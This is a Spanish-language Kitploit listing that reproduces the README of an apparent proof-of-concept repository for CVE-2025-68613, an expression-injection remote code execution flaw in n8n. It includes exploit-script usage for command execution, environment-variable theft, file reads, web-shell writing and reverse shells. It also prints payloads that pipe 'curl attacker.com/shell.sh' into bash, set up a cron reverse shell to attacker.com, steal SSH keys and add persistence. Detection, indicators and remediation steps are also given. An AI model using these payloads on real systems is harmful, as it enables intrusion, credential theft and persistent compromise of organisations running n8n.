Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-68613-POC — PoC público + Escáner e investigación para CVE-2025-68613: RCE crítico en n8n Workflow Automation mediante Inyección de Expresiones (CVSS 10.0). Incluye herramientas de detección, exploit completo y guía de remediación. | Kitploit
Herramientas/GitHubGitHub/thestingr/cve-2025-68613-poc
ReconocimientoEscáneres de VulnerabilidadesAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebRecopilación de InformaciónPruebas de PenetraciónPapers e InvestigaciónAprendizaje y Educación

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Red Teaming
Desarrollo de Payloads
GitHubthestingr/cve-2025-68613-poc

CVE-2025-68613-POC

PoC público + Escáner e investigación para CVE-2025-68613: RCE crítico en n8n Workflow Automation mediante Inyección de Expresiones (CVSS 10.0). Incluye herramientas de detección, exploit completo y guía de remediación.

Ver Repositorio
263hace 8 mesesRevisado por Kitploit
Compartir

🚨 CVE-2025-68613: Vulnerabilidad RCE Crítica en n8n

Idioma: Python Puntuación CVSS: 10.0 Crítica Estado del Exploit: Prueba de Concepto Disponible Estado CVE: CVE-2025-68613 Divulgado Versión: v1.0.2 Plataforma Objetivo: n8n

CVE-2025-68613 PoC - TechSquad RedTeam

Tabla de Contenidos

  1. Resumen
  2. ¿Qué es n8n?
  3. Conceptos Básicos de la Vulnerabilidad
Detalles Técnicos
  • Versiones Afectadas
  • Mecánica de Explotación
  • Impacto en el Mundo Real
  • Métodos de Detección
  • Remediación y Mitigación
  • Recursos y Referencias

  • Resumen

    CVE-2025-68613 es una vulnerabilidad crítica de Ejecución Remota de Código (RCE) descubierta en n8n, una popular plataforma de automatización de flujos de trabajo de código abierto. Esta vulnerabilidad permite a usuarios autenticados ejecutar código arbitrario en el servidor, lo que potencialmente puede llevar a un compromiso total del sistema.

    Datos Rápidos

    • CVE ID: CVE-2025-68613
    • CVSS Score: 9.9 - 10.0 (Critical)
    • Vulnerability Type: Expression Injection → Remote Code Execution
    • CWE: CWE-913 (Improper Control of Dynamically-Managed Code Resources)
    • Attack Vector: Network
    • Authentication Required: Yes (Low privilege - no admin access needed) |- Estado: Prueba de Concepto disponible (verificado funcionando en v1.121.0)

    ¿Qué es n8n?

    n8n es una plataforma de automatización de flujos de trabajo de código abierto que permite a los usuarios:

    • Conectar varias APIs, bases de datos y servicios
    • Automatizar procesos empresariales repetitivos
    • Crear flujos de trabajo complejos sin necesidad de programación extensa
    • Implementar en instalaciones propias o en la nube

    Por qué n8n es Infraestructura Crítica

    Las organizaciones usan n8n para:

    • Integrar bases de datos con servicios en la nube
    • Automatizar tuberías de procesamiento de datos
    • Conectar CRMs, ERPs y sistemas internos
    • Gestionar datos sensibles y credenciales de API

    Este papel central en la infraestructura de TI hace que las vulnerabilidades sean particularmente peligrosas, ya que pueden proporcionar a los atacantes acceso a redes enteras y datos sensibles.


    Herramientas en este Repositorio

    Este repositorio incluye herramientas listas para usar para la detección de vulnerabilidades y pruebas de explotación:

    1. Escáner: cve-2025-68613-scanner.py

    Propósito: Detección segura y no explotadora de instancias vulnerables de n8n

    Características:

    • Detección pasiva de versiones desde respuestas HTTP
    • No requiere autenticación
    • Sin ejecución de payload
    • Verifica múltiples rutas comunes (/, /rest/settings, /healthz, /api/v1/health)
    • Seguro para evaluaciones de seguridad autorizadas

    Uso:```bash python3 cve-2025-68613-scanner.py -u http://target:5678

    root@kitploit:~
    **Salida**:
    - Código de salida 0: No vulnerable
    - Código de salida 1: Versión indeterminada (puede estar parcheada u oculta)
    - Código de salida 2: Versión vulnerable detectada
    
    ### 2. Plantilla de Nuclei: `CVE-2025-68613.yaml`
    **Propósito**: Detección automatizada de vulnerabilidades y prueba básica de evaluación de expresiones
    
    **Características**:
    - Requiere token de autenticación válido
    - Prueba la capacidad de inyección de expresiones
    - Intenta leer el contexto global de Node.js (process.platform)
    - Crea flujos de trabajo de prueba para validar el vector RCE
    - Clasificación de gravedad Crítica CVSS 10.0
    
    **Uso**:```bash
    # Single target with known token
    nuclei -t CVE-2025-68613.yaml -u http://target:5678 -v
    
    # Multiple targets
    nuclei -t CVE-2025-68613.yaml -l targets.txt
    

    3. Exploit Completo: exploit_cve-2025-68613.py

    Propósito: Prueba de concepto completa con múltiples cargas de ataque

    Características:

    • Manejo completo de autenticación
    • Múltiples cargas de explotación:
      • info: Recopilar información del sistema (SO, arquitectura, versión de Node.js, usuario actual)
      • cmd: Ejecutar comandos arbitrarios del sistema
      • env: Extraer todas las variables de entorno (revela credenciales, claves API, secretos)
      • read: Leer archivos sensibles del sistema de archivos (claves SSH, archivos de configuración, etc.)
      • write: Escribir archivos en el sistema de archivos (persistencia, puertas traseras, etc.)
      • revshell: Establecer una conexión de shell inversa para acceso interactivo
    • Limpieza automática del flujo de trabajo
    • Manejo de errores e informes de estado

    Requisitos:

    • Credenciales de usuario n8n válidas (correo electrónico/contraseña)
    • Python 3.6+ con la biblioteca requests
    • Acceso de red a la instancia n8n objetivo

    Instalación:```bash pip install requests chmod +x exploit_cve-2025-68613.py

    root@kitploit:~
    **Ejemplos de uso**:```bash
    # Gather system information
    python3 exploit_cve-2025-68613.py -u http://target:5678 \  
      -e [email protected] -p password --payload info
    
    # Execute system command (whoami)
    python3 exploit_cve-2025-68613.py -u http://target:5678 \  
      -e [email protected] -p password --payload cmd --command "whoami"
    
    # Extract all environment variables (credentials, API keys)
    python3 exploit_cve-2025-68613.py -u http://target:5678 \  
      -e [email protected] -p password --payload env
    
    # Read sensitive files
    python3 exploit_cve-2025-68613.py -u http://target:5678 \  
      -e [email protected] -p password --payload read --file "/etc/passwd"
    
    # Establish reverse shell (requires netcat listener)
    # On attacker machine: nc -lvnp 4444
    python3 exploit_cve-2025-68613.py -u http://target:5678 \  
      -e [email protected] -p password --payload revshell --lhost 10.10.14.5 --lport 4444
    
    # Write a web shell for persistence
    python3 exploit_cve-2025-68613.py -u http://target:5678 \  
      -e [email protected] -p password --payload write \  
      --file "/tmp/shell.php" --content '<?php system($_GET["cmd"]); ?>'
    

    Cómo funciona:

    1. Se autentica en n8n usando las credenciales proporcionadas
    2. Crea un flujo de trabajo malicioso con una carga útil de inyección de expresión
    3. La carga útil sale del entorno aislado de expresiones usando this.constructor.constructor()
    4. Ejecuta la carga útil a través de process.platform u otras APIs de Node.js
    5. Recupera los resultados de la ejecución del flujo de trabajo
    6. Limpia eliminando el flujo de trabajo de prueba

    Códigos de salida:

    • 0: Explotación exitosa
    • 1: Autenticación o explotación fallida

    Conceptos básicos de vulnerabilidad

    ¿Cuál es el problema?

    En términos simples: n8n permite a los usuarios escribir expresiones en flujos de trabajo para procesar datos dinámicamente. Sin embargo, estas expresiones se evalúan sin un entorno aislado adecuado, lo que permite a los atacantes salir del contexto de ejecución previsto y ejecutar código arbitrario en el servidor.

    El problema central

    Al crear un flujo de trabajo en n8n, puedes usar "expresiones" para manipular datos. Se supone que estas expresiones se ejecutan en un entorno restringido. Sin embargo, la vulnerabilidad muestra que estas expresiones pueden acceder al sistema subyacente, permitiendo a un atacante:

    1. Ejecutar comandos del sistema
    2. Leer/escribir archivos en el servidor
    3. Robar variables de entorno (claves API, contraseñas, secretos)
    4. Modificar o eliminar datos
    5. Establecer persistencia para acceso a largo plazo

    Por qué es tan peligroso

    • Baja barrera de entrada: Solo requiere un inicio de sesión de usuario (sin privilegios de administrador especiales)
    • Amplia aplicabilidad: Muchas organizaciones permiten a usuarios no técnicos crear flujos de trabajo
    • Alto impacto: Se ejecuta con todos los privilegios del proceso de n8n
    • Acceso a datos: Puede acceder a todos los datos a los que n8n tiene acceso (bases de datos, API, credenciales)
    • Posición en la red: n8n suele estar en el centro de la infraestructura crítica, lo que permite el movimiento lateral

    Detalles técnicos

    Cómo funciona la vulnerabilidad

    Paso 1: Evaluación de expresiones del flujo de trabajo

    Cuando un usuario crea un flujo de trabajo en n8n, puede usar expresiones para procesar datos:``` Input: User creates a workflow with an expression n8n Expression Engine: Evaluates the expression Expected Output: Processed data Actual Output (Vulnerable): Expression execution context not isolated from runtime

    root@kitploit:~
    #### Paso 2: Expression Injection
    Un atacante elabora una expresión maliciosa que escapa del sandbox previsto:```javascript
    // Example: Malicious expression in workflow
    ${require('child_process').execSync('id')}
    

    Paso 3: Ejecución de código

    La expresión se evalúa sin el aislamiento adecuado, lo que permite al atacante:

    • Llamar funciones del sistema
    • Ejecutar comandos de shell
    • Acceder al sistema de archivos
    • Leer variables de entorno

    La Causa Raíz

    La vulnerabilidad se origina por un sandboxing insuficiente en el motor de evaluación de expresiones. El equipo de n8n evaluaba expresiones en un contexto que:

    • Permitía el acceso a require() o funciones similares de carga de módulos
    • No restringía adecuadamente el acceso a las API del sistema
    • No validaba ni filtraba la sintaxis de las expresiones
    • No prevenía ataques de contaminación de prototipos
    • No aislaba el entorno de ejecución del tiempo de ejecución subyacente de Node.js

    Ruta de Ejecución de Código```

    User Input (Workflow Expression) ↓ Expression Parser ↓ Evaluation Engine (VULNERABLE - Not Sandboxed) ↓ Direct Access to Node.js Runtime ↓ System Command Execution / File Access / Credential Theft

    root@kitploit:~
    ---
    
    ## Versiones Afectadas
    
    ### Rango Vulnerable
    
    Todas las versiones de n8n desde **0.211.0** hasta las siguientes versiones son vulnerables:
    - `0.211.0` → `1.120.3`
    - `1.121.0`
    
    ### Versiones Parcheadas
    
    La vulnerabilidad ha sido corregida en:
    - ✅ `1.120.4` y posteriores en la rama 1.120.x
    - ✅ `1.121.1` y posteriores en la rama 1.121.x
    - ✅ `1.122.0` y todas las versiones más recientes
    
    ### Cómo Verificar tu Versión```bash
    # If n8n is running
    curl http://your-n8n-instance:5678/ | grep -i "version"
    
    # Or check the admin panel
    # Go to Settings → About → Version
    

    Versiones probadas y compatibilidad

    Verificado funcional

    • n8n v1.121.0: ✅ Totalmente explotable (RCE confirmado, inyección de expresiones funcional)
    • n8n v0.211.0 - v1.120.3: ✅ Dentro del rango vulnerable según NVD (no probado individualmente)

    Problemas conocidos

    • Limitación de ejecución REST: El endpoint /rest/workflows/{id}/run devuelve error HTTP 500 en v1.121.0
      • Solución alternativa: La inyección de expresiones funciona perfectamente, RCE confirmado a través de:
        1. Clic manual en el botón "Test Step" en la interfaz de usuario (probado que funciona)
        2. Captura de salida del flujo de trabajo
      • Esto es una limitación de la API, no un error de explotación

    No probado

    • n8n v0.212.0+: Fuera del rango de vulnerabilidad documentado, probablemente parcheado (ver issue #1 de GitHub)
    • Implementaciones en Windows Server: Datos de prueba limitados en entornos específicos de Windows

    Declaración de soporte de versiones

    El exploit está diseñado para funcionar contra el rango vulnerable documentado en NVD:

    • Vulnerable confirmado: 0.211.0 hasta 1.120.3, más 1.121.0
    • Versiones parcheadas: 1.120.4, 1.121.1, 1.122.0 y posteriores

    Si se prueba contra versiones fuera de este rango, no se garantiza el éxito.


    Mecánica de explotación

    ¿Qué puede hacer un atacante?

    Una vez que un usuario autenticado (o un atacante con credenciales válidas) explota esta vulnerabilidad, puede:

    1. Ejecutar comandos arbitrarios del sistema```javascript

    ${require('child_process').execSync('whoami').toString()} // Returns: root (or whatever user runs n8n)

    ${require('child_process').execSync('curl attacker.com/shell.sh | bash').toString()} // Downloads and executes a shell script

    root@kitploit:~
    #### 2. Leer archivos del servidor```javascript
    ${require('fs').readFileSync('/etc/passwd', 'utf-8')}
    // Reads sensitive system files
    
    ${require('fs').readFileSync('/home/user/.ssh/id_rsa', 'utf-8')}
    // Steals SSH keys
    

    3. Leer Variables de Entorno```javascript

    ${Object.keys(process.env).join(', ')} // Lists all environment variables

    ${process.env.DATABASE_PASSWORD} // Extracts specific secrets

    root@kitploit:~
    #### 4. Escribir Archivos Maliciosos```javascript
    ${require('fs').writeFileSync('/var/www/shell.php', 'malicious code')}
    // Plants a web shell for persistence
    
    ${require('fs').writeFileSync('/home/user/.ssh/authorized_keys', 'attacker_key')}
    // Adds SSH access
    

    5. Acceso a Servicios Conectados```javascript

    // Access workflow credentials (stored API keys, passwords) // Modify or view connected databases // Exfiltrate data from all integrated systems

    root@kitploit:~
    #### 6. Establecer persistencia```javascript
    ${require('child_process').execSync('echo "* * * * * /bin/bash -i >& /dev/tcp/attacker.com/443 0>&1" | crontab -')}
    // Creates a cron job for reverse shell access
    
    ${require('child_process').execSync('useradd -m -s /bin/bash attacker')}
    // Creates a new user account
    

    Ejemplo de Escenario de Ataque

    Escenario del mundo real: Empresa usando n8n

    1. Atacante obtiene credenciales: Mediante phishing, reutilización de credenciales o contraseña débil
    2. Inicia sesión en n8n: Usa una cuenta de usuario legítima
    3. Crea un workflow "inofensivo": Afirma que es para procesamiento de datos
    4. Inyecta expresión maliciosa: Oculta el exploit en un paso del workflow
    5. Ejecuta código: Ejecuta comandos con los privilegios del proceso de n8n
    6. Exfiltra datos: Roba claves API, credenciales de base de datos, datos de clientes
    7. Establece persistencia: Instala puertas traseras, crea nuevas cuentas de administrador
    8. Se mueve lateralmente: Usa credenciales robadas para acceder a otros sistemas

    Impacto en el Mundo Real

    Impacto en la Confidencialidad (ALTO)

    • Acceso a datos sensibles procesados por los workflows
    • Extracción de claves API, contraseñas de bases de datos, claves de cifrado
    • Lectura de archivos de configuración, registros y secretos
    • Posibles violaciones de GDPR/cumplimiento normativo mediante robo de datos

    Impacto en la Integridad (ALTO)

    • Modificación de workflows existentes para sabotear operaciones
    • Inyección de workflows maliciosos que corrompen datos
    • Alteración de las salidas del workflow que afectan a sistemas posteriores
    • Instalación de puertas traseras para acceso persistente

    Impacto en la Disponibilidad (ALTO)

    • Eliminación de workflows críticos, causando interrupción del negocio
    • Modificación de archivos del sistema que provocan caídas del servicio
    • Agotamiento de recursos mediante automatización maliciosa
    • Ataques de ransomware donde los atacantes exigen pago para restaurar sistemas

    Ejemplos de Impacto Empresarial

    Empresa de Manufactura

    • n8n automatiza el procesamiento de pedidos y la gestión de inventario
    • El atacante exfiltra pedidos de clientes e información de proveedores
    • Modifica workflows para enviar productos incorrectos a los clientes
    • Resultados: Pérdida de confianza del cliente, responsabilidad legal, disrupción operativa

    Servicios Financieros

    • n8n integra APIs bancarias y procesamiento de pagos
    • El atacante roba credenciales de API y tokens de autenticación
    • Redirige transacciones o crea registros fraudulentos
    • Resultados: Sanciones regulatorias, compensación a clientes, daño a la reputación

    Organización Sanitaria

    • n8n maneja la integración y reportes de datos de pacientes
    • El atacante accede a información de salud protegida (PHI)
    • Modifica registros médicos o bloquea alertas críticas
    • Resultados: Violaciones de HIPAA, daño al paciente, responsabilidad de la organización

    Métodos de Detección

    Método 1: Escáner de Detección de Versión

    Script de detección seguro, no explotable (incluido en el repositorio original):```bash python3 CVE-2025-68613.py -u http://your-n8n-instance:5678

    root@kitploit:~
    **Ejemplos de salida**```
    [+] Target: http://127.0.0.1:5678
    [+] Possible n8n detected at /
    [+] Detected version: 1.120.2
    
    --- Result ---
    🚨 VULNERABLE
    Target version is affected by CVE-2025-68613
    

    Método 2: Usando la plantilla de Nuclei

    Escaneo automatizado con Nuclei:```bash

    Single target

    nuclei -t CVE-2025-68613.yaml -u http://target:5678

    Multiple targets from file

    nuclei -t CVE-2025-68613.yaml -l targets.txt

    root@kitploit:~
    **Cómo funciona**:
    1. Envía solicitudes HTTP a rutas comunes de n8n
    2. Extrae metadatos de versión de HTML/encabezados
    3. Decodifica la configuración codificada en base64 si está presente
    4. Compara la versión contra rangos vulnerables
    5. Informa si la instancia es vulnerable
    
    ### Método 3: Captura manual de banner```bash
    # Check for n8n in HTTP response
    curl -s http://target:5678/ | grep -i "n8n"
    
    # Check headers
    curl -I http://target:5678/ | grep -i "n8n"
    
    # Check common paths
    curl -s http://target:5678/api/v1/health
    curl -s http://target:5678/rest/settings
    curl -s http://target:5678/healthz
    

    Método 4: Reconocimiento de red```bash

    Find n8n instances using Shodan

    shodan search "n8n" --limit 10

    Use favicon hash detection

    nmap -p 5678 --script http-favicon target.com

    root@kitploit:~
    ### Indicadores de Explotación (IOCs)
    
    **Indicadores en Registros**:
    - Evaluaciones inusuales de expresiones en registros de flujo de trabajo
    - Errores de expresión que contienen comandos del sistema
    - Acceso a archivos sensibles (por ejemplo, referencias a /etc/passwd)
    - Generación inesperada de procesos desde el proceso n8n
    
    **Indicadores del Sistema**:
    - Cuentas de usuario nuevas creadas en el servidor
    - Claves SSH inesperadas en authorized_keys
    - Nuevos trabajos cron o tareas programadas
    - Modificaciones a archivos del sistema
    - Conexiones de shell inversa desde el servidor n8n
    
    ---
    
    ## Remediación y Mitigación
    
    ### SOLUCIÓN PRINCIPAL: Actualización Inmediata
    
    **Esta es la única solución completa para la vulnerabilidad.**
    
    #### Paso 1: Respaldar tus Datos```bash
    # Backup n8n database
    cp -r /path/to/n8n/database ./backup/
    
    # Backup workflows
    n8n export --backup-dir ./backup/
    

    Paso 2: Actualizar n8n

    Usando Docker (Recomendado):```bash

    Pull the latest patched version

    docker pull n8nio/n8n:1.122.0 # Or later

    Stop current instance

    docker stop n8n-container

    Start with new version

    docker run -d --name n8n-patched
    -p 5678:5678
    -v n8n_data:/home/node/.n8n
    n8nio/n8n:1.122.0

    root@kitploit:~
    **Usando npm**:```bash
    # Backup first
    npm run export --backup
    
    # Update
    npm update n8n
    
    # Or specific version
    npm install [email protected]
    

    Usando el Administrador de Paquetes del Sistema:```bash

    Debian/Ubuntu

    sudo apt update && sudo apt upgrade n8n

    Or manual download

    wget https://github.com/n8n-io/n8n/releases/download/[email protected]/n8n.tar.gz

    root@kitploit:~
    #### Paso 3: Verificar la Actualización```bash
    # Check version after update
    curl http://localhost:5678/api/v1/health | grep version
    
    # Ensure n8n is running
    curl http://localhost:5678/ | grep -i "n8n"
    

    MITIGACIÓN TEMPORAL: Mientras se actualiza

    Importante: Estas NO solucionan la vulnerabilidad. Úselas solo como medidas temporales mientras planifica las actualizaciones.

    1. Restringir permisos del flujo de trabajo```

    n8n Admin Panel → Users & Permissions ├── Disable "User Can Create Workflows" for non-admin users ├── Restrict "User Can Edit Workflows" to trusted administrators only ├── Review existing user roles and remove unnecessary permissions └── Audit workflow creators for suspicious accounts

    root@kitploit:~
    #### 2. Monitorizar Cambios en el Flujo de Trabajo```
    n8n Admin Panel → Settings → Audit Log
    ├── Enable comprehensive audit logging
    ├── Monitor for suspicious workflow modifications
    ├── Alert on expression evaluations in logs
    └── Review workflow change history regularly
    

    3. Aislamiento de red```bash

    Restrict n8n network access

    sudo ufw default deny incoming sudo ufw allow from 192.168.1.0/24 to any port 5678 # Only internal network sudo ufw enable

    Or using iptables

    sudo iptables -A INPUT -p tcp --dport 5678 -s 192.168.1.0/24 -j ACCEPT sudo iptables -A INPUT -p tcp --dport 5678 -j DROP

    root@kitploit:~
    #### 4. Ejecutar n8n con privilegios mínimos```bash
    # Create dedicated n8n user
    sudo useradd -r -s /bin/false n8n-user
    
    # Run n8n as this user
    sudo -u n8n-user n8n
    
    # Or in Docker with user specification
    docker run -u 1000 n8nio/n8n:latest
    

    5. Habilitar autenticación fuerte```

    n8n Admin Panel → Settings → Authentication ├── Enable 2FA for all accounts ├── Enforce strong password policies ├── Review and disable unnecessary service accounts ├── Implement SSO if available └── Disable any guest/demo accounts

    root@kitploit:~
    #### 6. Containerización & Aislamiento```bash
    # Run n8n in a restricted Docker container
    docker run -d \
      --security-opt=no-new-privileges:true \
      --read-only \
      --cap-drop=ALL \
      --cap-add=NET_BIND_SERVICE \
      --tmpfs /tmp \
      -p 5678:5678 \
      n8nio/n8n:current-version
    

    7. Auditoría Regular```bash

    Monitor for suspicious activities

    Check for new files in n8n directories

    find /path/to/n8n -type f -mtime -1

    Monitor process activity

    ps aux | grep n8n netstat -tlnp | grep n8n

    Check for unauthorized SSH keys

    cat ~/.ssh/authorized_keys

    Review system logs

    journalctl -u n8n -n 100

    root@kitploit:~
    ---
    
    ## Matriz de Evaluación de Riesgos
    
    | Escenario | Nivel de Riesgo | Probabilidad | Impacto | Prioridad |
    |----------|-----------|-----------|--------|----------|
    | n8n sin parche, expuesto a internet | CRÍTICO | ALTA | Compromiso completo | 🔴 URGENTE |
    | n8n sin parche, solo interno | ALTO | MEDIA | Riesgo de amenaza interna | 🟠 ALTO |
    | n8n parcheado | BAJO | BAJA | N/A | ✅ Resuelto |
    | n8n sin parche + restricciones de permisos | MEDIO | MEDIA | Limitado a usuarios de confianza | 🟡 MEDIO |
    
    ---
    
    ## Recuperación Paso a Paso Si se ha Visto Comprometido
    
    ### Acciones Inmediatas (Primera Hora)
    1. **Aislar el sistema**: Desconectar de la red
    2. **Detener el servicio**: `sudo systemctl stop n8n`
    3. **Preservar registros**: Realizar copia de seguridad de todos los registros antes de limpiar
    4. **Alertar al equipo**: Notificar al equipo de seguridad y a la dirección
    5. **Evaluar el alcance**: Determinar a qué datos accedió n8n
    
    ### Investigación (Primer Día)
    1. **Revisar registros de auditoría**: Buscar actividades sospechosas
    2. **Analizar tráfico de red**: Buscar exfiltración de datos
    3. **Verificar modificaciones de archivos**: Encontrar puertas traseras insertadas
    4. **Revisar cuentas de usuario**: Buscar cuentas nuevas o modificadas
    5. **Auditoría de credenciales**: Restablecer todas las claves API y contraseñas utilizadas por n8n
    
    ### Remediación (Días 2-7)
    1. **Reconstrucción completa del sistema**: No solo actualizar, reconstruir desde una imagen limpia
    2. **Rotación de credenciales**: Restablecer todas las contraseñas, claves API, tokens
    3. **Parchear todo**: Actualizar todos los sistemas conectados
    4. **Restaurar desde copia de seguridad**: Usar copias de seguridad limpias anteriores al compromiso
    5. **Auditoría de seguridad**: Realizar una evaluación de seguridad completa
    
    ### Post-Incidente (Semanas 2+)
    1. **Implementar monitoreo**: Configurar registro y alertas continuas
    2. **Cambios de procesos**: Actualizar procedimientos de respuesta a incidentes
    3. **Capacitación de usuarios**: Educar a los equipos sobre mejores prácticas de seguridad
    4. **Escaneo de vulnerabilidades**: Escaneos regulares para problemas similares
    5. **Revisión de cumplimiento**: Asegurar que se cumplan todas las regulaciones (GDPR, HIPAA, etc.)
    
    ---
    
    ## Prevención a Futuro
    
    ### Mejores Prácticas de Seguridad para n8n
    
    1. **Mantener n8n Actualizado**
       - Habilitar actualizaciones automáticas si están disponibles
       - Suscribirse a los avisos de seguridad de n8n
       - Probar parches en un entorno de prueba antes de producción
    
    2. **Control de Acceso**
       - Usar el principio de mínimo privilegio
       - Exigir contraseñas seguras y 2FA
       - Implementar SSO para implementaciones empresariales
       - Revisiones y auditorías de acceso periódicas
    
    3. **Gestión de Flujos de Trabajo**
       - Revisar todos los flujos de trabajo en busca de lógica sospechosa
       - Implementar un proceso de revisión de código para los flujos de trabajo
       - Usar convenciones de nombres para identificar flujos de trabajo críticos
       - Realizar copias de seguridad periódicas de los flujos de trabajo
    
    4. **Gestión de Credenciales**
       - Nunca almacenar credenciales en los flujos de trabajo
       - Usar variables de entorno para datos sensibles
       - Rotar las credenciales periódicamente
       - Auditar el acceso a las credenciales
    
    5. **Monitoreo y Registro**
       - Habilitar un registro de auditoría exhaustivo
       - Monitorear actividades inusuales
       - Configurar alertas para operaciones sospechosas
       - Revisión y análisis periódicos de registros
    
    6. **Seguridad de Red**
       - Ejecutar n8n en segmentos de red aislados
       - Restringir el acceso de red solo a los servicios necesarios
       - Usar VPN/cortafuegos para acceso remoto
       - Monitorear el tráfico de red en busca de anomalías
    
    7. **Respuesta a Incidentes**
       - Crear un plan de respuesta a incidentes
       - Definir procedimientos de escalado
       - Realizar simulacros de seguridad periódicos
       - Mantener listas de contacto actualizadas
    
    ---
    
    ## Solución de Problemas
    
    ### Problema: "Exit code 1: Error de autenticación o explotación"
    
    **Causas Comunes**:
    1. **Credenciales incorrectas** (más común)
       - Solución: Verificar primero que las credenciales funcionen para el inicio de sesión en la interfaz web
       - Prueba: `curl -X POST http://target:5678/rest/login -d '{"emailOrLdapLoginId":"[email protected]","password":"pass"}'`
    
    2. **El usuario no tiene permisos de creación de flujos de trabajo**
       - Solución: Usar una cuenta de administrador o de usuario con derechos de creación de flujos de trabajo
       - Verificar: Revisar el panel de administración → Usuarios y Permisos
    
    3. **La versión está parcheada** (versión > 1.121.0)
       - Solución: Usar el escáner para verificar la versión primero: `python3 cve-2025-68613-scanner.py -u http://target:5678`
       - Esperado: El escáner debería informar "Vulnerable" (código de salida 2)
    
    4. **La estructura de la API cambió** (las versiones más antiguas/nuevas pueden diferir)
       - Solución: Consultar el aviso de NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-68613
       - Más probable si se prueban versiones fuera del rango documentado
    
    5. **Bloqueo de red/cortafuegos**
       - Solución: Verificar la conectividad: `curl http://target:5678/`
       - Verificar: Reglas del cortafuegos, configuración de proxy, certificados SSL
    
    ### Problema: El escáner reporta falsos positivos (detección de versión incorrecta)
    
    **Corregido en v1.02**: El escáner ahora utiliza la configuración de Sentry decodificada en base64 de las metaetiquetas en lugar de una expresión regular simple. Esto elimina los falsos positivos donde se detectaba la versión de Node.js como la versión de n8n.
    
    **Lo que cambió**:
    - Fuente principal: Extraer y decodificar `<meta name="n8n:config:sentry" content="[BASE64]">`
    - Alternativa: Solo usa la expresión regular si la configuración de Sentry no está disponible
    - Resultado: Detección precisa de la versión sin falsos positivos
    
    **Para usar el escáner v1.02**:```bash
    # Update to v1.02
    git pull origin main
    
    # Run scanner
    python3 cve-2025-68613-scanner.py -u http://target:5678
    

    Problema: La ejecución REST devuelve error 500

    Esto NO es un error en el exploit, es una limitación de la API.

    Explicación:

    • El endpoint /rest/workflows/{id}/run devuelve HTTP 500 en n8n v1.121.0
    • Esto es una limitación de diseño de la API de n8n, no un error del exploit
    • La inyección de expresiones SIGUE FUNCIONANDO a través de la interfaz de usuario

    Solución alternativa:

    1. El exploit crea un flujo de trabajo con la expresión maliciosa ✅ Funciona
    2. La expresión se evalúa y ejecuta el código ✅ Funciona (comprobado con pruebas manuales)
    3. Haga clic manualmente en el botón "Probar paso" en la interfaz de usuario para activar la expresión ✅ Funciona
    4. Leer la salida de los resultados del flujo de trabajo ✅ Funciona

    Evidencia: Bandera capturada en TryHackMe: THM{n8n_exposed_workflow}


    Recursos y Referencias

    Fuentes Oficiales

    • Repositorio de n8n en GitHub: https://github.com/n8n-io/n8n
    • Avisos de seguridad de n8n: https://github.com/n8n-io/n8n/security/advisories
    • Documentación de n8n: https://docs.n8n.io/

    Información CVE

    • Entrada NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-68613
    • CVEDetails: https://www.cvedetails.com/cve/CVE-2025-68613/
    • CVETodo: https://cvetodo.com/cve/CVE-2025-68613

    Recursos de Seguridad

    • NIST CWE-913: https://cwe.mitre.org/data/definitions/913.html
    • Inyección de Código OWASP: https://owasp.org/www-community/attacks/Code_Injection
    • Evasión de Sandbox OWASP: https://owasp.org/www-community/attacks/Sandbox_Escape

    Resumen

    CVE-2025-68613 es una vulnerabilidad crítica que requiere acción inmediata. La combinación de:

    • Capacidad de inyección de expresiones
    • Falta de sandboxing
    • Bajo requisito de privilegios
    • Amplia superficie de ataque (muchos usuarios crean flujos de trabajo)
    • Posición central en infraestructura de TI

    ...convierte esto en una de las vulnerabilidades más peligrosas en plataformas de automatización de flujos de trabajo.

    La solución simple: Actualice a una versión parcheada de inmediato. No hay excusa para seguir siendo vulnerable a un RCE crítico cuando hay parches disponibles.


    Versión del Documento

    |- Versión: 1.02 |- Fecha de Creación: 18 de diciembre de 2025 |- Última Actualización: 26 de diciembre de 2025

    • Estado: Completo
    • Autor: The StingR / TechSquad Inc.
    • Organización: TechSquad Inc.

    Descargo de Responsabilidad

    Este documento se proporciona únicamente con fines educativos y de evaluación de seguridad autorizados. El acceso no autorizado a sistemas informáticos es ilegal. Asegúrese siempre de tener la autorización adecuada antes de probar, evaluar o acceder a sistemas que no posea.


    ⚠️ RECUERDE: Actualice sus instancias de n8n inmediatamente si está ejecutando versiones vulnerables.

    Descargar herramienta